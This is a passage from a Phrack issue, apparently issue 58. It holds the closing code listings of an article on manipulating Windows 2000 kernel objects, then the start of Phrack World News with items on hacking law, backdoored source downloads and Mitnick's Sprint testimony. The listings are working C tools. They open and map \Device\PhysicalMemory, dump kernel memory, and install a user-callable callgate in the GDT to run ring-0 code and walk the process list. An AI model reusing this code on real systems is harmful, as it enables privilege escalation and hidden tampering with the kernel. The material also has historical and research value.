   printf("\\Device\\PhysicalMemory chmoded\n");

cleanup:
   if (Section)
      NtClose(Section);
   if (SecDesc)
      LocalFree(SecDesc);
   return(0);
}


----[ 5.3 winkdump.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#include "..\kmem.h"

ULONG   Granularity;

// thanx to kraken for the hexdump function
void hexdump(unsigned char *data, unsigned int amount) {
   unsigned int      dp, p;
   const char        trans[] =
      "................................ !\"#$%&'()*+,-./0123456789"
      ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
      "nopqrstuvwxyz{|}~...................................."
      "....................................................."
      "........................................";

   for (dp = 1; dp <= amount; dp++)  {
      printf ("%02x ", data[dp-1]);
      if ((dp % 8) == 0)
         printf (" ");
      if ((dp % 16) == 0) {
         printf ("| ");
         p = dp;
         for (dp -= 16; dp < p; dp++)
            printf ("%c", trans[data[dp]]);
         printf ("\n");
      }
   }
   if ((amount % 16) != 0) {
      p = dp = 16 - (amount % 16);
      for (dp = p; dp > 0; dp--) {
         printf ("   ");
         if (((dp % 8) == 0) && (p != 8))
            printf (" ");
      }
      printf (" | ");
      for (dp = (amount - (16 - p)); dp < amount; dp++)
         printf ("%c", trans[data[dp]]);
   }
   printf ("\n");
   return ;
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;

   if (vAddress < 0x80000000L || vAddress >= 0xA0000000L)
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   else
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   return(add);
}

int InitSection(PHANDLE Section) {
   NTSTATUS          ntS;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   // open \Device\PhysicalMemory
   ntS = NtOpenSection(Section,
                       SECTION_MAP_READ,
                       &ObAttributes);

   if (ntS != STATUS_SUCCESS) {
      printf(" * error NtOpenSection (code: %x)\n", ntS);
      return(0);
   }
   return(1);
}

int main(int argc, char **argv) {
   NTSTATUS         ntS;
   ULONG            Address, Size, MappedSize, Offset;
   HANDLE           Section;
   PVOID            MappedAddress=NULL;
   SYSTEM_INFO      SysInfo;
   PHYSICAL_ADDRESS pAddress;

   printf(" *** win2k memory dumper ***\n\n");

   if (argc != 3) {
      printf("usage: %s <address> <size>\n", argv[0]);
      return(0);
   }

   Address = strtoul(argv[1], NULL, 0);
   MappedSize = Size = strtoul(argv[2], NULL, 10);
   printf(" Virtual Address       : 0x%.8x\n", Address);

   if (!Size) {
      printf("error: invalid size\n");
      return(0);
   }
   // get allocation granularity information
   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf(" Allocation granularity: %lu bytes\n", Granularity);
   if (!InitSection(&Section))
      return(0);

   Offset = Address % Granularity;
   MappedSize += Offset; // reajust mapping view
   printf(" Offset                : 0x%x\n", Offset);
   pAddress = GetPhysicalAddress(Address - Offset);
   printf(" Physical Address      : 0x%.16x\n", pAddress);

   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,
                            MappedSize, &pAddress, &MappedSize, ViewShare,
                            0, PAGE_READONLY);

   printf(" Mapped size           : %lu bytes\n", MappedSize);
   printf(" View size             : %lu bytes\n\n", Size);

   if (ntS == STATUS_SUCCESS) {
      hexdump((char *)MappedAddress+Offset, Size);
      NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
   } else {
      if (ntS == 0xC00000F4L)
         printf("error: invalid physical address translation\n");
      else
         printf("error: NtMapViewOfSection (code: %x)\n", ntS);
   }

   NtClose(Section);
   return(0);
}


----[ 5.2 winkps.c

// code very messy but working :)
#include <stdio.h>
#include <windows.h>
#include "..\kmem.h"

// get this address from win2k symbols
#define PSADD    0x8046A180 // PsActiveProcessHead
// default base address for ntoskrnl.exe on win2k
#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress
// max process, to prevent easy crashing
#define MAX_PROCESS 50

typedef struct _MY_CG {
   PHYSICAL_ADDRESS     pAddress;
   PVOID                MappedAddress;
   PCALLGATE_DESCRIPTOR Desc;
   WORD                 Segment;
   WORD                 LastEntry;
} MY_CG, *PMY_CG;

ULONG         Granularity;
PLIST_ENTRY   PsActiveProcessHead = (PLIST_ENTRY) PSADD;
MY_CG         GdtMap;
MAPPING       CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {
   _asm {
      pushad
      pushf
      cli

      mov esi, CurMap.vAddress
      push esi
      call MmGetPhysicalAddress
      mov CurMap.pAddress, eax  // save low part of LARGE_INTEGER
      mov [CurMap+4], edx       // save high part of LARGE_INTEGER

      popf
      popad
      retf
   }
}

// function which call the callgate
PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {
   WORD   farcall[3];
   HANDLE Thread = GetCurrentThread();

   farcall[2] = GdtMap.Segment;

   if(!VirtualLock((PVOID) Ring0Func, 0x30)) {
      printf("error: unable to lock function\n");
      CurMap.pAddress.QuadPart = 1;
   } else {
      CurMap.vAddress = vAddress; // ugly way to pass argument
      CurMap.Offset   = (DWORD) vAddress % Granularity;
      (DWORD) CurMap.vAddress -= CurMap.Offset;

      SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);
      Sleep(0);

      _asm call fword ptr [farcall]

      SetThreadPriority(Thread,THREAD_PRIORITY_NORMAL);
      VirtualUnlock((PVOID) Ring0Func, 0x30);
   }
   return(CurMap.pAddress);
}

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   PHYSICAL_ADDRESS  add;

    if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   } else {
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;
   }
   return(add);
}

void UnmapMemory(PVOID MappedAddress) {
   NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
}

int InstallCallgate(HANDLE Section, DWORD Function) {
   NTSTATUS             ntS;
   KGDTENTRY            gGdt;
   DWORD                Size;
   PCALLGATE_DESCRIPTOR CgDesc;

   _asm sgdt gGdt;

   printf("virtual address of GDT : 0x%.8x\n",
          MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   GdtMap.pAddress =
              GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);
   Size = gGdt.LimitLow;
   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
                            0L, Size, &GdtMap.pAddress, &Size, ViewShare,
                            0, PAGE_READWRITE);
   if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
      printf("error: NtMapViewOfSection (code: %x)\n", ntS);
      return(0);
   }

   GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry
   for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),
       GdtMap.Desc=NULL;
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
       CgDesc--) {

      //printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type);
      if(CgDesc->present == 0){
         CgDesc->offset_0_15  = (WORD) (Function & 0xFFFF);
         CgDesc->selector     = 8;
         CgDesc->param_count  = 0; //1;
         CgDesc->some_bits    = 0;
         CgDesc->type         = 12;     // 32-bits callgate junior :>
         CgDesc->app_system   = 0;      // A system segment
         CgDesc->dpl          = 3;      // Ring 3 code can call
         CgDesc->present      = 1;
         CgDesc->offset_16_31 = (WORD) (Function >> 16);
         GdtMap.Desc = CgDesc;
         break;
      }

   }

   if (GdtMap.Desc == NULL) {
      printf("error: unable to find free entry for installing callgate\n");
      printf("       not normal by the way .. your box is strange =]\n");
   }

   GdtMap.Segment =
      ((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
   printf("Allocated segment      : %x\n", GdtMap.Segment);
   return(1);
}

int UninstallCallgate(HANDLE Section, DWORD Function) {
   PCALLGATE_DESCRIPTOR CgDesc;

   for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
      CgDesc--) {

      if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))
         && CgDesc->offset_16_31 == (WORD) (Function >> 16)){
         memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));
         return(1);
      }
   }
   NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);
   return(0);
}

void UnmapVirtualMemory(PVOID vAddress) {
   NtUnmapViewOfSection((HANDLE) -1, vAddress);
}

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {
   PHYSICAL_ADDRESS pAddress;
   NTSTATUS         ntS;
   DWORD            MappedSize;
   PVOID            MappedAddress=NULL;

   //printf("* vAddress: 0x%.8x\n", vAddress);
   pAddress = NewGetPhysicalAddress((PVOID) vAddress);
   //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",
   //       CurMap.vAddress, CurMap.Offset);
   //printf("* pAddress: 0x%.16x\n", pAddress);

   // check for error (1= impossible value)
   if (pAddress.QuadPart != 1) {
      Size += CurMap.Offset; // adjust mapping view
      MappedSize = Size;

      ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,
                        0L, Size, &pAddress, &MappedSize, ViewShare,
                        0, PAGE_READONLY);
      if (ntS != STATUS_SUCCESS || !MappedSize) {
         printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n",
                vAddress, ntS);
         return(NULL);
      }
   } else
      MappedAddress = NULL;
   printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n",
         MappedSize, MappedAddress, Size);
   return(MappedAddress);
}

void DisplayProcesses(HANDLE Section) {
   int i = 0;
   DWORD     Padding;
   PEPROCESS CurProcess, NextProcess;
   PVOID     vCurEntry, vOldEntry, NewMappedAddress;
   PLIST_ENTRY PsCur;

   // first we map PsActiveProcessHead to get first entry
   vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);
   if (!vCurEntry)
      return;
   PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);

   // most of EPROCESS struct are located around 0xfc[e-f]00000
   // so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping
   while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {
      NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);
      //printf("==> Current process: %x\n", CurProcess);

      // we map 0x100000 bytes view so we store offset to EPROCESS
      Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;

      // check if the next struct is already mapped in memory
      if ((DWORD) vCurEntry<= (DWORD) NextProcess
         && (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){
         // no need to remap
         // no remapping so we need to calculate the new address
         CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

      } else {
         CurProcess = NextProcess;
         // unmap old view and map a new one
         // calculate next base address to map
         vOldEntry = vCurEntry;
         vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);

         //printf("link: %x, process: %x, to_map: %x, padding: %x\n",
         //    PsCur->Flink, TO_EPROCESS(PsCur->Flink),
         //    vCurEntry, Padding);
         // unmap old view
         UnmapVirtualMemory(vOldEntry);
         vOldEntry = vCurEntry;
         // map new view
         vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);
         if (!vCurEntry)
            break;
         // adjust EPROCESS structure pointer
         CurProcess =
                 (PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);
         // save mapped address
         NewMappedAddress = vCurEntry;
         // restore pointer from mapped addresses space 0x4**** to
         // the real virtual address 0xf*******
         vCurEntry = vOldEntry;
      }

      // reajust pointer to LIST_ENTRY struct
      PsCur = &CurProcess->ActiveProcessLinks;
      printf(" + %lu\t %s\n", CurProcess->UniqueProcessId,
             CurProcess->ImageFileName[0] ?
             CurProcess->ImageFileName : "[system]");
      i++;
   }

   UnmapVirtualMemory(vCurEntry);
}

int main(int argc, char **argv) {
   SYSTEM_INFO       SysInfo;
   OBJECT_ATTRIBUTES ObAttributes;
   NTSTATUS          ntS;
   HANDLE            Section;
   HMODULE           hDll;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

   printf(" *** win2k process lister ***\n\n");

   GetSystemInfo(&SysInfo);
   Granularity = SysInfo.dwAllocationGranularity;
   printf("Allocation granularity: %lu bytes\n", Granularity);
   InitializeObjectAttributes(&ObAttributes,
                              &ObString,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   hDll = LoadLibrary("ntoskrnl.exe");
   if (hDll) {
      MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
                   (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
      printf("MmGetPhysicalAddress   : 0x%.8x\n", MmGetPhysicalAddress);
      FreeLibrary(hDll);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,
                       &ObAttributes);
   if (ntS != STATUS_SUCCESS) {
      if (ntS == STATUS_ACCESS_DENIED)
         printf("error: access denied to open
                                       \\Device\\PhysicalMemory for r/w\n");
      else
         printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;
   }

   if (!InstallCallgate(Section, (DWORD) Ring0Func))
```

```
      goto cleanup;

   memset(&CurMap, 0, sizeof(MAPPING));

   __try {
      DisplayProcesses(Section);
   } __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
      printf("exception: trying to clean callgate...\n");
      goto cleanup;
   }

   if (!UninstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

cleanup:
   if (Section)
      NtClose(Section);
   return(0);
}
```

----[5.4 fun_with_ipd.c

```
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "..\kmem.h"

int main() {
   NTSTATUS          ntS;
   HANDLE            SymLink, Section;
   OBJECT_ATTRIBUTES ObAttributes;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");

   InitializeObjectAttributes(&ObAttributes,
                              &ObNewName,
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
                              NULL,
                              NULL);

   ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,
                                    &ObAttributes, &ObName);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS);
      return(0);
   }

   ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);
   if (ntS != STATUS_SUCCESS)
      printf("error: NtOpenSection (code: %x)\n", ntS);
   else {
      printf("\\Device\\PhysicalMemory opened !!!\n");
      NtClose(Section);
   }
   // now you can do what you want
   getch();

   NtClose(SymLink);
   return(0);
}
```

--[6 - Conclusion

I hope this article helped you to understand the base of Windows kernel
objects manipulation. As far as i know you can do as much things as you can
with linux's /dev/kmem so there is no restriction except your imagination

```
:).
I also hope that this article will be readen by Linux dudes.

Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]


--[ 7 - References
```

```
[1] Sysinternals - www.sysinternals.com
[2] Microsoft DDK - www.microsoft.com/DDK/
[3] unofficial ntifs.h - www.insidewindows.info
[4] www.chapeaux-noirs.org/win/
[5] Intel IA-32 Software Developper manual - developer.intel.com
[6] Pedestal Software - www.pedestalsoftware.com
[7] BindView's RAZOR - razor.bindview.com
[8] Open Systems Resources - www.osr.com
[9] MSDN - msdn.microsoft.com

books:
  * Undocumented Windows 2000 Secrets, A Programmer's Cookbook
    (http://www.orgon.com/w2k_internals/)
  * Inside Microsoft Windows 2000, Third Edition
    (http://www.microsoft.com/mspress/books/4354.asp)
  * Windows NT/2000 Native API Reference
```

```
|=[ EOF ]=---------------------------------------------------------------=|
                              ==Phrack Inc.==

               Volume 0x0b, Issue 0x3a, Phile #0x11 of 0x12

|=----------------=[ P H R A C K   W O R L D   N E W S ]=------------------=|
|=-------------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=------------------------------=|
```

Content in Phrack World News does not reflect the opinion of any particluar Phrack Staff member. PWN is exclusively done by the scene and for the scene.

```
  0x01: Life sentence for hackers
  0x02: Newest IT Job Title: Chief Hacking Officer
  0x03: Download Sites Hacked, Source Code Backdoored
  0x04: Mitnick testimony burns Sprint in Vegas 'vice hack' case
  0x05: Feds may require all email to be kept by ISP's
  0x06: BT OpenWorld silent over infection / Customers still clueless
  0x07: DeCCS is Free Speech - CSS reverse engineer Jon Johansen set free!
  0x08: Gnutella developer Gene Kan, 25, commits suicide
```

```
|=[ 0x01 - Life sentence for hackers ]=------------------------------------=|
```

July 15, 2002

WASHINGTON - The House of Representatives on Monday overwhelmingly approved a bill that would allow for life prisin sentences for computer hackers.

CNET writes that the bill has been approved by a 385-3 vote. The same bill expands police/agency ability to conduct Internet or telephone eavesdropping _without_ first obtainin a court order. The Cyber Security Enhancement Act (CSEA), the most wide-ranging computer crime bill to make its way through Congress in years, now heads to the Senate. It's not expected to encounter nay serious opposition.

"A mouse can be just as dangerous as a bullet or a bomb." said Lamar Smith of R-Tex.

Another section of CSEA would permit Internet providers to disclose the contents of e-mail messages and other electronic records (IRC, http, ..) to police.

The Free Congress Foundation, which opposes CSEA, criticized Monday evening's vote.

"Congress should stop chipping away at our civil liberties," sai Brad Jansen, an analyst at the conservative group. "A good place to start would be to substantially revise (CSEA) to increase, not diminish, oversight and accountability by the government.".

```
http://news.com.com/2100-1001-944057.html?tag=fd_top
http://www.msnbc.com/news/780923.asp?cp1=1
http://www.wired.com/news/politics/0,1283,50363,00.html
http://thomas.loc.gov/cgi-bin/bdquery/z?d107:h.r.03482:
http://lamarsmith.house.gov/
http://www.phrack.org/phrack/58/p58-0x0d
http://www.freesk8.org [<---- check it out!]
```

```
|=[ 0x02 - Newest IT Job Title: Chief Hacking Officer ]=-------------------=|
```

By Jay Lyman
NewsFactor Network

Companies seeking to ensure they are as impervious as possible to the latest computer viruses and to the Internet's most talented hackers often find themselves in need of -- the Internet's most talented hackers.

Some of these so-called "white-hat" hackers hold high positions in various enterprises, including security companies, but analysts told NewsFactor that they rarely carry the actual title "chief hacking officer" because companies tend to be a bit skittish about the connotation.

Still, some security pros -- such as Aliso Viejo, California-based Eeye Security's Marc Maiffret -- do carry the "CHO" title, and few argue the point that in order to protect themselves from the best hackers and crackers, companies need to hire them.

Hidden Hiring

SecurityFocus senior threat analyst Ryan Russell told NewsFactor that while only a handful of companies actually refer to their in-house hacker as "chief hacking officer," many companies are hiring hackers and giving them titles that are slightly less indicative of their less socially acceptable skills.

"A large number of people who used to do that sort of thing end up working in security," Russell said. "There are some companies out there specifically saying, 'We do not hire hackers, we are against that,' but really they are [hiring them]."

Russell said that while there is definitely an increased emphasis on security since last year's disastrous terrorist attacks, deflation of the dot-com bubble has resulted in consolidation among security personnel and a reduction in the number of titles that are obviously associated with hacking.

Born To Hack

Russell noted that hackers legitimately working in IT are usually involved in penetration testing.

While companies are uncomfortable hiring IT security personnel with prior criminal records, there are advantages to hiring an experienced hacker, even if the individual has used an Internet "handle" associated with so-called "black-hat" hackers.

Still, Russell said, "I think in very few cases do people with the reputation of a hacker or black-hat [get hired]."

One such person who was hired is Cambridge, Massachusetts-based security company @Stake's chief scientist, Peiter "Mudge" Zatko -- well-known hacker and security expert who has briefed government officials, addressed industry forums and authored an NT password auditing tool.

Regular Workers

Regardless of whether they wear a white hat or a black one, Russel said it takes more than good hacking skills to land a legitimate job.

"You want someone who does [penetrations] for a living," Russell said of penetration testers. "You want them to be good at giving you the information you need."

Russell added that while some hackers hold chief technical officer or equivalent positions, the rule of fewer managers and more employees means there are probably more hackers working in regular jobs than in management.

Checking References

Forrester (Nasdaq: FORR) analyst Laura Koetzle told NewsFactor that companies will not hire anyone convicted of a computer crime, but they will seek out hackers, particularly for penetration testing.

"They won't have a title of chief hacking officer, and they haven't necessarily broken any laws, but they're still skilled at this stuff," she said.

Koetzle said many companies avoid the issue of checking the backgrounds of former hackers by using services firms, such as PricewaterhouseCoopers or Deloitte & Touche, to hire such personnel.

Extortion and Employment

But hiring hackers can backfire.

Russell said cases of extortion range from blatant attempts at blackmail -- demanding money to prevent disclosure of customer data or security vulnerabilities -- to more subtle efforts, wherein hackers find holes, offer a fix and add a request for a job.

According to Koetzle, despite the desire to keep security breaches quiet, companies must resist attempts on the part of potential hacker-hires to extort money or work in computer security.

"I would strongly caution against dealing with that type of hacker," Koetzle said. "It absolutely does happen, but it's absolutely the wrong thing to do."

Right or wrong, however, it seems that the person best equipped to ferret out a hacker is another hacker. So, as unsavory as it may seem, the better the hacker, the more likely he or she is to join the square world as chief hacking officer.

|=[0x03 - Download Sites Hacked, Source Code Backdoored]=--------------=|

By Brian McWilliams
SecurityFocus

When source code to a relatively obscure, Unix-based Internet Relay Chat (IRC) client was reported to be "backdoored", security professionals collectively yawned.

But last week, when three popular network security programs were reported to be similarly compromised, security experts sat up and took notice.

Now, it appears that the two hacking incidents may have been related.

According to programmer Dug Song, the source code to Dsniff, Fragroute, and Fragrouter security tools was contaminated on May 17th after an attacker gained unauthorized access to his site, Monkey.org.

In an interview today, Song said affected users are being contacted, but he declined to provide details of the compromise, citing an ongoing investigation.

When installed on a Unix-based machine, the modified programs open a backdoor accessible to a remove server hosted by RCN Corporationm according to an exerpt of the contaminated Fragroute program posted Friday to Bugtraq by Ansers Nordby of the Norwegian Unix User Group.

In another posting to the Bugtraq mailing list last Friday, Song reported that nearly 2,000 copies of the booby-trapped security programs were downloaded by unsuspecting Internet users before the malicious code was discovered. Only 800 of the downloads were from Unix-based machines, according to Song.

Song's subsequent Bugtraq message said that intruders planted the contaminated code at Monkey.org after successfully penetrating a machine operated by one of the site's administrators. The attackers exploited "client-side hole that produced a shell to one of the local admin's accounts," wrote Song in his message.

The exploit code planted at Monkey.org was nearly identical to a backdoor program that was recently slipped by attackers into the source code of the Irssi IRC chat client for Unix. It's is currently unclear why the attacker used a backdoor that could easily be detected.

According to the notice posted May 25th at Irssi.org, someone "cracked" the distribution site for the IRC program in mid-March and altered a configuration script to include the back door.

New Precautions Implemented

Installing the compromised Irssi program provided a remove server hosted by FastQ Communications with full shell access to the target machine, said the notice. Irssi's developer, Timo Sirainen, was not immediately available for comment.

Today, the Web server at the Internet protocol address listed in the backdoored Irssi code returned the message: "All your base are belong to us."

Meanwhile, Unknown.nu, the collocated server listed in the backdoored Monkey.org code, today displayed the home of the Niuean Pop Cultural Archive.

When contacted by SecurityFocus Online, the site's administrator, Kim Scarborough, said he was unaware that the machine had been used by the Monkey.org remote exploit.

Scarborough reported that he completely reinstalled the server's system software, including the FreeBSD operating system, on May 30th after discovering evidence that someone had hacked into it.

According to Scarborough, he had first installed the Irssi chat client on the machine around May 17th at the request of a user.

The two security incidents have forced authors of the affected programs to implement new measures to insure the authenticity of their downloadable code.

According to a page at Irssi describing the backdoor, new releases will be signed with the GPG encryption tool, and the author will periodically review the program for changes.

Song said that Monkey.org has implemented technology to restrict user sessions, and that he is considering adding digital signatures to software distributed at the site.

|=[0x04 - Mitnick testimony burns Sprint in Vegas 'vice hack' case]=---=|

By Kevin Poulsen
SecurityFocus

Since adult entertainment operator Eddie Munoz first told state regulators in 1994 that mercenary hackers were crippling his business by diverting, monitoring and blocking his phone calls, officials at local telephone company Sprint of Nevada have maintained that, as far as they know, their systems have never suffered a single intrusion.

The Sprint subsidiary lost that innocence Monday when convicted hacker Kevin Mitnick shook up a hearing on the call-tampering allegations by detailing years of his own illicit control of the company's Las Vegas switching systems, and the workings of a computerized testing system that he says allows silent monitoring of any phone line served by the incumbent telco.

"I had access to most, if not all, of the switches in Las Vegas," testified Mitnick, at a hearing of Nevada's Public Utilities Commission (PUC). "I had the same privileges as a Northern Telecom technician."

Mitnick's testimony played out like a surreal Lewis Carroll version of a hacker trial -- with Mitnick calmly and methodically explaining under oath how he illegally cracked Sprint of Nevada's network, while the attorney for the victim company attacked his testimony, effectively accusing the ex-hacker of being innocent.

The plaintiff in the case, Munoz, 43, is accusing Sprint of negligence in allegedly allowing hackers to control their network to the benefit of a few crooked businesses. Munoz is the publisher of an adult advertising paper that sells the services of a bevy of in-room entertainers, whose phone numbers are supposed to ring to Munoz's switchboard. Instead, callers frequently get false busy signals, or reach silence, Munoz claims. Occasionally calls appear to be rerouted directly to a competitor. Munoz's complaints have been echoed by other outcall service operators, bail bondsmen and private investigators -- some of whom appeared at two days of hearings in March to testify for Munoz against Sprint.

Munoz hired Mitnick as a technical consultant in his case last year, after SecurityFocus Online reported that the ex-hacker -- a onetime Las Vegas resident -- claimed he had substantial access to Sprint's network up until his 1995 arrest. After running some preliminary tests, Mitnick withdrew from the case when Munoz fell behind in paying his consulting fees. On the last day of the March hearings, commissioner Adriana Escobar Chanos adjourned the matter to allow Munoz time to persuade Mitnick to testify, a feat Munoz pulled-off just in time for Monday's hearing.

Mitnick admitted that his testing produced no evidence that Munoz is experiencing call diversion or blocking. But his testimony casts doubt on Sprint's contention that such tampering is unlikely, or impossible. With the five year statute of limitations long expired, Mitnick appeared comfortable describing with great specificity how he first gained access to Sprint's systems while living in Las Vegas in late 1992 or early 1993, and then maintained that access while a fugitive.

Mitnick testified that he could connect to the control consoles -- quaintly called "visual display units" -- on each of Vegas' DMS-100 switching systems through dial-up modems intended to allow the switches to be serviced remotely by the company that makes them, Ontario-based Northern Telecom, renamed in 1999 to Nortel Networks.

Each switch had a secret phone number, and a default username and password, he said. He obtained the phone numbers and passwords from Sprint employees by posing as a Nortel technician, and used the same ploy every time he needed to use the dial-ups, which were inaccessible by default.

With access to the switches, Mitnick could establish, change, redirect or disconnect phone lines at will, he said.

That's a far cry from the unassailable system portrayed at the March hearings, when former company security investigator Larry Hill -- who retired from Sprint in 2000 -- testified "to my knowledge there's no way that a computer hacker could get into our systems." Similarly, a May 2001 filing by Scott Collins of Sprint's regulatory affairs department said that to the company's knowledge Sprint's network had "never been penetrated or compromised by so-called computer hackers."

Under cross examination Monday by PUC staff attorney Louise Uttinger, Collins admitted that Sprint maintains dial-up modems to allow Nortel remote access to their switches, but insisted that Sprint had improved security on those lines since 1995, even without knowing they'd been compromised before.

But Mitnick had more than just switches up his sleeve Monday.

The ex-hacker also discussed a testing system called CALRS (pronounced "callers"), the Centralized Automated Loop Reporting System. Mitnick

first described CALRS to SecurityFocus Online last year as a system that allows Las Vegas phone company workers to run tests on customer lines from a central location. It consists of a handful of client computers, and remote servers attached to each of Sprint's DMS-100 switches.

Mitnick testified Monday that the remote servers were accessible through 300 baud dial-up modems, guarded by a technique only slightly more secure than simple password protection: the server required the client -- normally a computer program -- to give the proper response to any of 100 randomly chosen challenges. The ex-hacker said he was able to learn the Las Vegas dial-up numbers by conning Sprint workers, and he obtained the "seed list" of challenges and responses by using his social engineering skills on Nortel, which manufactures and sells the system.

The system allows users to silently monitor phone lines, or originate calls on other people's lines, Mitnick said.

Mitnick's claims seemed to inspire skepticism in the PUC's technical advisor, who asked the ex-hacker, shortly before the hearing was to break for lunch, if he could prove that he had cracked Sprint's network. Mitnick said he would try.

Two hours later, Mitnick returned to the hearing room clutching a crumpled, dog-eared and torn sheet of paper, and a small stack of copies for the commissioner, lawyers, and staff.

At the top of the paper was printed "3703-03 Remote Access Password List." A column listed 100 "seeds", numbered "00" through "99," corresponding to a column of four digit hexadecimal "passwords," like "d4d5" and "1554."

Commissioner Escobar Chanos accepted the list as an exhibit over the objections of Sprint attorney Patrick Riley, who complained that it hadn't been provided to the company in discovery. Mitnick retook the stand and explained that he used the lunch break to visit a nearby storage locker that he'd rented on a long-term basis years ago, before his arrest. "I wasn't sure if I had it in that storage locker," said Mitnick. "I hadn't been there in seven years."

"If the system is still in place, and they haven't changed the seed list, you could use this to get access to CALRS," Mitnick testified. "The system would allow you to wiretap a line, or seize dial tone."

Mitnick's return to the hearing room with the list generated a flurry of activity at Sprint's table; Ann Pongracz, the company's general counsel, and another Sprint employee strode quickly from the room -- Pongracz already dialing on a cell phone while she walked. Riley continued his cross examination of Mitnick, suggesting, again, that the ex-hacker may have made the whole thing up. "The only way I know that this is a Nortel document is to take you at your word, correct?," asked Riley. "How do we know that you're not social engineering us now?"

Mitnick suggested calmly that Sprint try the list out, or check it with Nortel. Nortel could not be reached for comment.

|=[0x05 - Feds may require all email to be kept by ISP's]=-------------=|

By Kelley Beaucar Vlahos
Fox News

WASHINGTON - It may sound like a plot device for a futuristic movie, but the federal government may not be far from forcing Internet service providers to keep copies of all e-mail exchanges in the interest of homeland security.

The White House denied a Washington Post report Thursday alleging that the Al Qaeda terrorist network is working on using online and stored data to disrupt the workings of power grids, air traffic towers, dams, and other infrastructure. But a White House official did acknowledge that Al Qaeda has an interest in developing such abilities.

And it's that interest that has technology circles wondering if the federal government is going to follow the European Union's lead in passing legislation that would allow the government to mine data on customers saved by ISPs.

Last month, the European Union passed a resolution that would require all ISPs to store for up to seven years e-mail message headers, Web-surfing histories, chat logs, pager records, phone and fax connections, passwords, and more.

Already, Germany, France, Belgium, and Spain have drafted laws that comply with the directive. Technology experts say the U.S. federal government may try to do the same thing using the vast law enforcement allowances provided under the USA Patriot Act.

